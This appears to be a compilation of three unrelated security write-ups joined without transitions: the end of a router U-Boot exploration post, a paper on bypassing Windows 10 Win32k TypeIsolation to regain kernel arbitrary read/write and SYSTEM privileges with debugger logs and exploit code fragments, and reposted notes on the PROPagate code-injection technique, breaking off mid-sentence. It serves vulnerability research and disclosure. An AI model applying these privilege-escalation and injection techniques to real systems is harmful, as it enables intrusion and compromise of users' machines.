The rest of the ATP commands are pretty useless: clear screen, help menu, save to flash and exit. Nothing worth going into.

Exploring Uboot’s CLI

The bootloader’s command line interface offers raw access to some memory areas. Unfortunately, it doesn’t give us direct access to the Flash IC, but let’s check it out anyway.

Please choose operation:
   3: Boot system code via Flash (default).
   4: Entr boot command line interface.
You choosed 4
Stopped Uboot WatchDog Timer.
4: System Enter Boot Command Line Interface.
U-Boot 1.1.3 (Aug 29 2013 - 11:16:19)
RT3352 # help
?       - alias for 'help'
bootm   - boot application image from memory
cp      - memory copy
erase   - erase SPI FLASH memory
go      - start application at address 'addr'
help    - print online help
md      - memory display
mdio   - Ralink PHY register R/W command !!
mm      - memory modify (auto-incrementing)
mw      - memory write (fill)
nm      - memory modify (constant address)
printenv- print environment variables
reset   - Perform RESET of the CPU
rf      - read/write rf register
saveenv - save environment variables to persistent storage
setenv  - set environment variables
uip - uip command
version - print monitor version
RT3352 #

Don’t touch commands like erasemmmw or nm unless you know exactly what you’re doing; you’d probably just force a router reboot, but in some cases you may brick the device. In this case, md (memory display) and printenv are the commands that call my atention.

RT3352 # printenv
ramargs=setenv bootargs root=/dev/ram rw
addip=setenv bootargs $(bootargs) ip=$(ipaddr):$(serverip):$(gatewayip):$(netmask):$(hostname):$(netdev):off
addmisc=setenv bootargs $(bootargs) console=ttyS0,$(baudrate) ethaddr=$(ethaddr) panic=1
flash_self=run ramargs addip addmisc;bootm $(kernel_addr) $(ramdisk_addr)
load=tftp 8A100000 $(u-boot)
u_b=protect off 1:0-1;era 1:0-1;cp.b 8A100000 BC400000 $(filesize)
loadfs=tftp 8A100000 root.cramfs
u_fs=era bc540000 bc83ffff;cp.b 8A100000 BC540000 $(filesize)
test_tftp=tftp 8A100000 root.cramfs;run test_tftp
ethact=Eth0 (10/100-M)

Environment size: 765/4092 bytes

We can see settings like the UART baudrate, as well as some interesting memory locations. Those memory addresses are not for the Flash IC, though. The flash memory is only addressed by 3 bytes: [0x000000000x00FFFFFF].

Let’s take a look at some of them anyway, just to see the kind of access this interface offers.What about kernel_addr=BFC40000?

md `badd` Picture

Nope, that badd message means bad address, and it has been hardcoded in md to let you know that you’re trying to access invalid memory locations. These are good addresses, but they’re not accessible to u-boot at this point.

It’s worth noting that by starting Uboot’s CLI we have stopped the router from loading the linux Kernel onto memory, so this interface gives access to a very limited subset of data.

SPI Flash string in md

We can find random pieces of data around memory using this method (such as thatSPI Flash Image string), but it’s pretty hopeless for finding anything specific. You can use it to get familiarised with the memory architecture, but that’s about it. For example, there’s a very obvious change in memory contents at 0x000d0000:

md.w 0x000d0000

And just because it’s about as close as it gets to seeing the girl in the red dress, here is the md command in action. You’ll notice it’s very easy to spot that change in memory contents at 0x000d0000.

Next Steps

In the next post we combine firmware and bare metal, explain how data flows and is stored around the device, and start trying to manipulate the system to leak pieces of data we’re interested in.

Thanks for reading! 🙂

Save and Reborn GDI data-only attack from Win32k TypeIsolation

1 Background

In recent years, the exploit of GDI objects to complete arbitrary memory address R/W in kernel exploitation has become more and more useful. In many types of vulnerabilityes such as pool overflow, arbitrary writes, and out-of-bound write, use after free and double free, you can use GDI objects to read and write arbitrary memory. We call this GDI data-only attack.

Microsoft introduced the win32k type isolation after the Windows 10 build 1709 release to mitigate GDI data-only attack in kernel exploitation. I discovered a mistake in Win32k TypeIsolation when I reverse win32kbase.sys. It have resulted GDI data-only attack worked again in certain common vulnerabilities. In this paper, I will share this new attack scenario.

Debug environment:


Windows 10 rs3 16299.371


Win32kbase.sys 10.0.16299.371

2 GDI data-only attack

GDI data-only attack is one of the common methods which used in kernel exploitation. Modify GDI object member-variables by common vulnerabilities, you can use the GDI API in win32k to complete arbitrary memory read and write. At present, two GDI objects commonly used in GDI data-only attacks are Bitmap and Palette. An important structure of Bitmap is:

Typedef struct _SURFOBJ {

DHSURF dhsurf;

HSURF hsurf;

DHPDEV dhpdev;

HDEV hdev;

SIZEL sizlBitmap;

ULONG cjBits;

PVOID pvBits;

PVOID pvScan0;

LONG lDelta;

ULONG iUniq;

ULONG iBitmapFormat;


USHORT fjBitmap;


An important structure of Palette is:

Typedef struct _PALETTE64


BASEOBJECT64 BaseObject;

FLONG flPal;

ULONG32 cEntries;

ULONG32 ulTime;

HDC hdcHead;

ULONG64 hSelected;

ULONG64 cRefhpal;

ULONG64 cRefRegular;

ULONG64 ptransFore;

ULONG64 ptransCurrent;

ULONG64 ptransOld;

ULONG32 unk_038;

ULONG64 pfnGetNearest;

ULONG64 pfnGetMatch;

ULONG64 ulRGBTime;

ULONG64 pRGBXlate;


Struct _PALETTE *ppalThis;

PALETTEENTRY apalColors[3];


In the kernel structure of Bitmap and Palette, two important member-variables related to GDI data-only attack are Bitmap->pvScan0 and Palette->pFirstColor. Two member-variables point to Bitmap and Palette’s data field, and you can read or write data from data field through the GDI APIs. As long as we modify two member-variables to any memory address by triggering a vulnerability, we can use GetBitmapBits/SetBitmapBits or GetPaletteEntries/SetPaletteEntries to read and write arbitrary memory address.

About using the Bitmap and Palette to complete the GDI data-only attack Now that there are many related technical papers on the Internet, and it is not the focus of this paper, there will be no more deeply sharing. The relevant information can refer to the fifth part.

3 Win32k TypeIsolation

The exploit of GDI data-only attack greatly reduces the difficulty of kernel exploitation and can be used in most common types of vulnerabilities. Microsoft has added a new mitigation after Windows 10 rs3 build 1709 —- Win32k Typeisolation, which manages the GDI objects through a doubly-linked list, and separates the head of the GDI object from the data field. This is not only mitigate the exploit of pool fengshui which create a predictable pool and uses a GDI object to occupy the pool hole and modify member-variables by vulnerabilities. but also mitigate attack scenario which modifies other member-variables of GDI object header to increase the controllable range of the data field, because the head and data field is no longer adjacent.

About win32k typeisolation mechanism can refer to the following figure:

Here I will explain the important parts of the mechanism of win32k typeisolation. The detailed operation mechanism of win32k typeisolation, including the allocation, and release of GDI object, can be referred to in the fifth part.

In win32k typeisolation, GDI object is managed uniformly through the CSectionEntry doubly linked list. The view field points to a 0x28000 memory space, and the head of the GDI object is managed here. The view field is managed by view array, and the array size is 0x1000. When assigning to a GDI object, RTL_BITMAP is used as an important basis for assigning a GDI object to a specified view field.

In CSectionEntry, bitmap_allocator points to CSectionBitmapAllocator, and xored_view, xor_key, xored_rtl_bitmap are stored in CSectionBitmapAllocator, where xored_view ^ xor_key points to the view field and xored_rtl_btimap ^ xor_key points to RTL_BITMAP.

In RTL_BITMAP, bitmap_buffer_ptr points to BitmapBuffer,and BitmapBuffer is used to record the status of the view field, which is 0 for idle and 1 for in use. When applying for a GDI object, it starts traversing the CSectionEntry list through win32kbase!gpTypeIsolation and checks whether the current view field contains a free memory by CSectionBitmapAllocator. If there is a free memory, a new GDI object header will be placed in the view field.

I did some research in the reverse engineering of the implementation of GDI object allocation and release about the CTypeIsolation class and the CSectionEntry class, and then I found a mistake. TypeIsolation traverses the CSectionEntry doubly linked list, uses the CSectionBitmapAllocator to determine the state of the view field, and manages the GDI object SURFACE which stored in the view field, but does not check the validity of CSectionEntry->view and CSectionEntry->bitmap_allocator pointers, that is to say if we can construct a fake view and fake bitmap_allocator, and we can use the vulnerability to modify CSectionEntry->view and CSectionEntry->bitmap_allocator to point to fake struct, we can re-use GDI object to complete the data-only attack.

4 Save and reborn gdi data-only attack!

In this section, I would like to share the idea of ​​this attack scenario. HEVD is a practice driver developed by Hacksysteam that has typical kernel vulnerabilities. There is an Arbitrary Write vulnerability in HEVD. We use this vulnerability as example to share my attack scenario.

Attack scenario:

First look at the allocation of CSectionEntry, CSectionEntry will allocate 0x40 size session paged pool, CSectionEntry allocate pool memory implementation in NSInstrumentation::CSectionEntry::Create().

.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes

.text:00000001C002AC8F mov r8d, 6F736955h ; Tag

.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType

.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool

In other words, we can still use the pool fengshui to create a predictable session paged pool hole and it will be occupied with CSectionEntry. Therefore, in the exploit scenario of HEVD Arbitrary write, we use the tagWND to create a stable pool hole. , and use the HMValidateHandle to leak tagWND kernel object address. Because the current vulnerability instance is an arbitrary write vulnerability, if we can reveal the address of the kernel object, it will facilitate our understanding of this attack scenario, of course, in many attack scenarios, we only need to use pool fengshui to create a predictable pool.

Kd> g//make a stable pool hole by using tagWND

Break instruction exception - code 80000003 (first chance)

0033:00007ff6`89a61829 cc int 3

Kd> p

0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]

Kd> p

0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax

Kd> r rax


Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```

0xffff862e827ca220 is a stable session paged pool hole, and 0xffff862e827ca220 will be released later, in a free state.

Kd> p

0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]

Kd> p

0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8

Now we need to create the CSecitionEntry to occupy 0xffff862e827ca220. This requires the use of a feature of TypeIsolation. As mentioned in the second section, when the GDI object is requested, it will traverse the CSectionEntry and determine whether there is any free in the view field, if the view field of the CSectionEntry is full, the traversal will continue to the next CSectionEntry, but if CTypeIsolation doubly linked list, all the view fields of the CSectionEntrys are full, then NSInstrumentation::CSectionEntry::Create is invoked to create a new CSectionEntry.

Therefore, we allocate a large number of GDI objects after we have finished creating the pool hole to fill up all the CSectionEntry’s view fields to ensure that a new CSectionEntry is created and occupy a pool hole of size 0x40.

Kd> g//create a large number of GDI objects, 0xffff862e827ca220 is occupied by CSectionEntry

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso

Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:

Next we need to construct the fake CSectionEntry->view and fake CSectionEntry->bitmap_allocator and use the Arbitrary Write to modify the member-variable pointer in the CSectionEntry in the session paged pool hole to point to the fake struct we constructed.

The view field of the new CSectionEntry that was created when we allocate a large number of GDI objects may already be full or partially full by SURFACEs. If we construct the fake struct to construct the view field as empty, then we can deceive TypeIsolation that GDI object will place SURFACE in a known location.

We use VirtualAllocEx to allocate the memory in the userspace to store the fake struct, and we set the userspace memory property to READWRITE.

Kd> dq 1e0000//fake pushlock

00000000`001e0000 00000000`00000000 00000000`0000006c

Kd> dq 1f0000//fake view

00000000`001f0000 00000000`00000000 00000000`00000000

00000000`001f0010 00000000`00000000 00000000`00000000

Kd> dq 190000//fake RTL_BITMAP

00000000`00190000 00000000`000000f0 00000000`00190010

00000000`00190010 00000000`00000000 00000000`00000000

Kd> dq 1c0000//fake CSectionBitmapAllocator

00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f

00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f

00000000`001c0020 00000001`00000001 00000001`00000000

Among them, 0x1f0000 points to the view field, 0x1c0000 points to CSectionBitmapAllocator, and the fake view field is used to store the GDI object. The structure of CSectionBitmapAllocator needs thoughtful construction because we need to use it to deceive the typeisolation that the CSectionEntry we control is a free view item.


PVOID pushlock; // + 0x00

ULONG64 xored_view; // + 0x08

ULONG64 xor_key; // + 0x10

ULONG64 xored_rtl_bitmap; // + 0x18

ULONG bitmap_hint_index; // + 0x20

ULONG num_commited_views; // + 0x24


The above CSectionBitmapAllocator structure compares with 0x1c0000 structure, and I defined xor_key as 0xdeadbeefdeadb33f, as long as the xor_key ^ xor_view and xor_key ^ xor_rtl_bitmap operation point to the view field and RTL_BITMAP. In the debugging I found that the pushlock must point to a valid structure pointer, otherwise it will trigger BUGCHECK, so I allocate memory 0x1e0000 to store pushlock content.

As described in the second section, bitmap_hint_index is used as a condition to quickly index in the RTL_BITMAP, so this value also needs to be set to 0x00 to indicate the index in RTL_BITMAP. In the same way we look at the structure of RTL_BITMAP.

Typedef struct _RTL_BITMAP {

ULONG64 size; // + 0x00

PVOID bitmap_buffer; // + 0x08


Kd> dyb fffff322401b90b0

76543210 76543210 76543210 76543210

-------- -------- -------- --------

Fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00

Fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00

Fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40

Fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff

Fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff

Kd> dq fffff322401b90b0

Fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer

Fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff

Fffff322`401b90d0 ffffffff`ffffffff

Here I select a valid RTL_BITMAP as a template, where the first member-variable represents the RTL_BITMAP size, the second member-variable points to the bitmap_buffer, and the immediately adjacent bitmap_buffer represents the state of the view field in bits. To deceive typeisolation, we will all of them are set to 0, indicating that the view field of the current CSectionEntry item is all idle, referring to the 0x190000 fake RTL_BITMAP structure.

Next, we only need to modify the CSectionEntry view and CSectionBitmapAllocator pointer through the HEVD’s Arbitrary write vulnerability.

Kd> dq ffff862e827ca220//before trigger

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000

Ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000

Kd> g / / trigger vulnerability, CSectionEntry-> view and CSectionEntry-> bitmap_allocator is modified

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21e35 cc int 3

Kd> dq ffff862e827ca220

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 00000000`001f0000

Ffff862e`827ca240 00000000`001c0000 00000000`00000000

Next, we normally allocate a GDI object, call CreateBitmap to create a bitmap object, and then observe the state of the view field.

Kd> g

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21ec8 cc int 3

Kd> dq 1f0280

00000000`001f0280 00000000`00051a2e 00000000`00000000

00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000

00000000`001f02a0 00000000`00051a2e 00000000`00000000

00000000`001f02b0 00000000`00000000 00000002`00000040

00000000`001f02c0 00000000`00000080 ffff862e`8277da30

00000000`001f02d0 ffff862e`8277da30 00003f02`00000040

00000000`001f02e0 00010000`00000003 00000000`00000000

00000000`001f02f0 00000000`04800200 00000000`00000000

You can see that the bitmap kernel object is placed in the fake view field. We can read the bitmap kernel object directly from the userspace. Next, we only need to directly modify the pvScan0 of the bitmap kernel object stored in the userspace, and then call the GetBitmapBits/SetBitmapBits to complete any memory address read and write.

Summarize the exploit process:

Fix for full exploit:

In the course of completing the exploit, I discovered that BSOD was generated some time, which greatly reduced the stability of the GDI data-only attack. For example,

Kd> !analyze -v

************************************************** *****************************

* *

* Bugcheck Analysis *

* *

************************************************** *****************************


An exception happened while performing a system service routine.


Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck

Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.

Debugging Details:


OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx



Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi]

CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)

.cxr 0xffff8c8f89e98cf0

Rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080

Rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660

Rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000

R8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc

R11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680

R14=ffffd7a7424dca70 r15=0000000000000027

Iopl=0 nv up ei pl nz na po nc

Cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206


Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi] ds:002b:00000000`001e0000=????????????????

After many tracking, I discovered that the main reason for BSOD is that the fake struct we created when using VirtualAllocEx is located in the process space of our current process. This space is not shared by other processes, that is, if we modify the view field through a vulnerability. After the pointer to the CSectionBitmapAllocator, when other processes create the GDI object, it will also traverse the CSecitionEntry. When traversing to the CSectionEntry we modify through the vulnerability, it will generate BSoD because the address space of the process is invalid, so here I did my first fix when the vulnerability was triggered finish.

DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;

DWORD64 fix_bitmapbits2 = 0xffffffffffff;

DWORD64 fix_number = 0x2800000000;

CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);

CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);

In the first fix, I modified the bitmap_hint_index and the rtl_bitmap to deceive the typeisolation when traverse the CSectionEntry and think that the view field of the fake CSectionEntry is currently full and will skip this CSectionEntry.

We know that the current CSectionEntry has been modified by us, so even if we end the exploit exit process, the CSectionEntry will still be part of the CTypeIsolation doubly linked list, and when our process exits, The current process space allocated by VirtualAllocEx will be released. This will lead to a lot of unknown errors. We have already had the ability to read and write at any address. So I did my second fix.

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));

LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSePrevious);

LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));

In the second fix, I obtained CSectionEntry->previous and CSectionEntry->next, which unlinks the current CSectionEntry so that when the GDI object allocates traversal CSectionEntry, it will  deal with fake CSectionEntry no longer.

After completing the two fixes, you can successfully use GDI data-only attack to complete any memory address read and write. Here, I directly obtained the SYSTEM permissions for the latest version of Windows10 rs3, but once again when the process completely exits, it triggers BSoD. After the analysis, I found that this BSoD is due to the unlink after, the GDI handle is still stored in the GDI handle table, then it will find the corresponding kernel object in CSectionEntry and free away, and we store the bitmap kernel object CSectionEntry has been unlink, Caused the occurrence of BSoD.

The problem occurs in NtGdiCloseProcess, which is responsible for releasing the GDI object of the current process. The call chain associated with SURFACE is as follows

0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef

0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14

10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87

11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface is responsible for releasing the SURFACE kernel object in the GDI handle table. We need to find the HBITMAP which stored in the fake view in the GDI handle table, and set it to 0x0. This will skip the subsequent free processing in bDeleteSurface. Then call HmgNextOwned to release the next GDI object. The key code for finding the location of HBITMAP in the GDI handle table is in HmgSharedLockCheck. The key code is as follows:

V4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 *((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8 )v6 + 8);

Here I have restored a complete calculation method to find the bitmap object:


It is worth mentioning here is the need to leak the base address of win32kbase.sys, in the case of Low IL, we need vulnerability to leak info. And I use NtQuerySystemInformation in Medium IL to leak win32kbase.sys base address to calculate the gpHandleManager address, after Find the position of the target bitmap object in the GDI handle table in the fake view, and set it to 0x0. Finally complete the full exploit.

Now that the exploit of the kernel is getting harder and harder, a full exploitation often requires the support of other vulnerabilities, such as the info leak. Compared to the oob writes, uaf, double free, and write-what-where, the pool overflow is more complicated with this scenario, because it involves CSectionEntry->previous and CSectionEntry->next problems, but it is not impossible to use this scenario in pool overflow.

If you have any questions, welcome to discuss with me. Thank you!

5 Reference

Нажмите для доступа к DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf

New code injection trick named — PROPagate code injection technique

ROPagate code injection technique

@Hexacorn discussed in late 2017 a new code injection technique, which involves hooking existing callback functions in a Window subclass structure. Exploiting this legitimate functionality of windows for malicious purposes will not likely surprise some developers already familiar with hooking existing callback functions in a process. However, it’s still a relatively new technique for many to misuse for code injection, and we’ll likely see it used more and more in future.

For all the details on research conducted by Adam, I suggest the following posts.


PROPagate — a new code injection trick


Executing code inside a different process space is typically achieved via an injected DLL /system-wide hooks, sideloading, etc./, executing remote threads, APCs, intercepting and modifying the thread context of remote threads, etc. Then there is Gapz/Powerloader code injection (a.k.a. EWMI), AtomBombing, and mapping/unmapping trick with the NtClose patch.

There is one more.

Remember Shatter attacks?

I believe that Gapz trick was created as an attempt to bypass what has been mitigated by the User Interface Privilege Isolation (UIPI). Interestingly, there is actually more than one way to do it, and the trick that I am going to describe below is a much cleaner variant of it – it doesn’t even need any ROP.

There is a class of windows always present on the system that use window subclassing. Window subclassing is just a fancy name for hooking, because during the subclassing process an old window procedure is preserved while the new one is being assigned to the window. The new one then intercepts all the window messages, does whatever it has to do, and then calls the old one.

The ‘native’ window subclassing is done using the SetWindowSubclass API.

When a window is subclassed it gains a new property stored inside its internal structures and with a name depending on a version of comctl32.dll:

  • UxSubclassInfo – version 6.x
  • CC32SubclassInfo – version 5.x

Looking at properties of Windows Explorer child windows we can see that plenty of them use this particular subclassing property:

So do other Windows applications – pretty much any program that is leveraging standard windows controls can be of interest, including say… OllyDbg:When the SetWindowSubclass is called it is using SetProp API to set one of these two properties (UxSubclassInfo, or CC32SubclassInfo) to point to an area in memory where the old function pointer will be stored. When the new message routine is called, it will then call GetProp API for the given window and once its old procedure address is retrieved – it is executed.

Coming back for a moment to the aforementioned shattering attacks. We can’t use SetWindowLong or SetClassLong (or their newer SetWindowLongPtr and SetClassLongPtr alternatives) any longer to set the address of the window procedure for windows belonging to the other processes (via GWL_WNDPROC or GCL_WNDPROC). However, the SetProp function is not affected by this limitation. When it comes to the process at the lower of equal  integrity level the Microsoft documentation says:

SetProp is subject to the restrictions of User Interface Privilege Isolation (UIPI). A process can only call this function on a window belonging to a process of lesser or equal integrity level. When UIPI blocks property changes, GetLastError will return 5.

So, if we talk about other user applications in the same session – there is plenty of them and we can modify their windows’ properties freely!

I guess you know by now where it is heading:

  • We can freely modify the property of a window belonging to another process.
  • We also know some properties point to memory region that store an old address of a procedure of the subclassed window.
  • The routine that address points to will be at some stage executed.

All we need is a structure that UxSubclassInfo/CC32SubclassInfo properties are using. This is actually pretty easy – you can check what SetProp is doing for these subclassed windows. You will quickly realize that the old procedure is stored at the offset 0x14 from the beginning of that memory region (the structure is a bit more complex as it may contain a number of callbacks, but the first one is at 0x14).

So, injecting a small buffer into a target process, ensuring the expected structure is properly filled-in and and pointing to the payload and then changing the respective window property will ensure the payload is executed next time the message is received by the window (this can be enforced by sending a message).

When I discovered it, I wrote a quick & dirty POC that enumerates all windows with the aforementioned properties (there is lots of them so pretty much every GUI application is affected). For each subclassing property found I changed it to a random value – as a result Windows Explorer, Total Commander, Process Hacker, Ollydbg, and a few more applications crashed immediately. That was a good sign. I then created a very small shellcode that shows a Message Box on a desktop window and tested it on Windows 10 (under normal account).

The moment when the shellcode is being called in a first random target (here, Total Commander):

Of course, it also works in Windows Explorer, this is how it looks like when executed:

If we check with Process Explorer, we can see the window belongs to explorer.exe:Testing it on a good ol’ Windows XP and injecting the shellcode into Windows Explorer shows a nice cascade of executed shellcodes for each window exposing the subclassing property (in terms of special effects XP always beats Windows 10 – the latter freezes after first messagebox shows up; and in case you are wondering why it freezes – it’s because my shellcode is simple and once executed it is basically damaging the running application):

For obvious reasons I won’t be attaching the source code.

If you are an EDR or sandboxing vendor you should consider monitoring SetProp/SetWindowSubclass APIs as well as their NT alternatives and system services.


This is not the end. There are many other generic properties that can be potentially leveraged in a very same way:

  • The Microsoft Foundation Class Library (MFC) uses ‘AfxOldWndProc423’ property to subclass its windows
  • ControlOfs[HEX] – properties associated with Delphi applications reference in-memory Visual Component Library (VCL) objects
  • New windows framework e.g. Microsoft.Windows.WindowFactory.* needs more research
  • A number of custom controls use ‘subclass’ and I bet they can be modified in a similar way
  • Some properties expose COM/OLE Interfaces e.g. OleDropTargetInterface

If you are curious if it works between 32- and 64- bit processes



PROPagate follow-up — Some more Shattering Attack Potentials


We now know that one can use SetProp to execute a shellcode inside 32- and 64-bit applications as long as they use windows that are subclassed.


A new trick that allows to execute code in other processes without using remote threads, APC, etc. While describing it, I focused only on 32-bit architecture. One may wonder whether there is a way for it to work on 64-bit systems and even more interestingly – whether there is a possibility to inject/run code between 32- and 64- bit processes.

To test it, I checked my 32-bit code injector on a 64-bit box. It crashed my 64-bit Explorer.exe process in no time.

So, yes, we can change properties of windows belonging to 64-bit processes from a 32-bit process! And yes, you can swap the subclass properties I described previously to point to your injected buffer and eventually make the payload execute! The reason it works is that original property addresses are stored in lower 32-bit of the 64-bit offset. Replacing that lower 32-bit part of the offset to point to a newly allocated buffer (also in lower area of the memory, thanks to VirtualAllocEx) is enough to trigger the code execution.

See below the GetProp inside explorer.exe retrieving the subclassed property:

So, there you have it… 32 process injecting into 64-bit process and executing the payload w/o heaven’s gate or using other undocumented tricks.

The below is the moment the 64-bit shellcode is executed:

p.s. the structure of the subclassed callbacks is slightly different inside 64-bit processes due to 64-bit offsets, but again, I don’t want to make it any easier to bad guys than it should be ????


There are more possibilities.

While SetWindowLong/SetWindowLongPtr/SetClassLong/SetClassLongPtr are all protected and can be only used on windows belonging to the same process, the very old APIs SetWindowWord and SetClassWord … are not.

As usual, I tested it enumerating windows running a 32-bit application on a 64-bit system and setting properties to unpredictable values and observing what happens.

It turns out that again, pretty much all my Window applications crashed on Window 10. These 16 bits seem to be quite powerful…

I am not a vulnerability researcher, but I bet we can still do something interesting; I will continue poking around. The easy wins I see are similar to SetProp e.g. GWL_USERDATA may point to some virtual tables/pointers; the DWL_USER – as per Microsoft – ‘sets new extra information that is private to the application, such as handles or pointers’. Assuming that we may only modify 16 bit of e.g. some offset, redirecting it to some code cave or overwriting unused part of memory within close proximity of the original offset could allow for a successful exploit.



PROPagate follow-up #2 — Some more Shattering Attack Potentials


A few months back I discovered a new code injection technique that I named PROPagate. Using a subclass of a well-known shatter attack one can modify the callback function pointers inside other processes by using Windows APIs like SetProp, and potentially others. After pointing out a few ideas I put it on a back burner for a while, but I knew I will want to explore some more possibilities in the future.

In particular, I was curious what are the chances one could force the remote process to indirectly call the ‘prohibited’ functions like SetWindowLong, SetClassLong (or their newer alternatives SetWindowLongPtr and SetClassLongPtr), but with the arguments that we control (i.e. from a remote process). These API are ‘prohibited’ because they can only be called in a context of a process that owns them, so we can’t directly call them and target windows that belong to other processes.

It turns out his may be possible!

If there is one common way of using the SetWindowLong API it is to set up pointers, and/or filling-in window-specific memory areas (allocated per window instance) with some values that are initialized immediately after the window is created. The same thing happens when the window is destroyed – during the latter these memory areas are usually freed and set to zeroes, and callbacks are discarded.

These two actions are associated with two very specific window messages:


In fact, many ‘native’ windows kick off their existence by setting some callbacks in their message handling routines during processing of these two messages.

With that in mind, I started looking at existing processes and got some interesting findings. Here is a snippet of a routine I found inside Windows Explorer that could be potentially abused by a remote process:

Or, it’s disassembly equivalent (in response to WM_NCCREATE message):

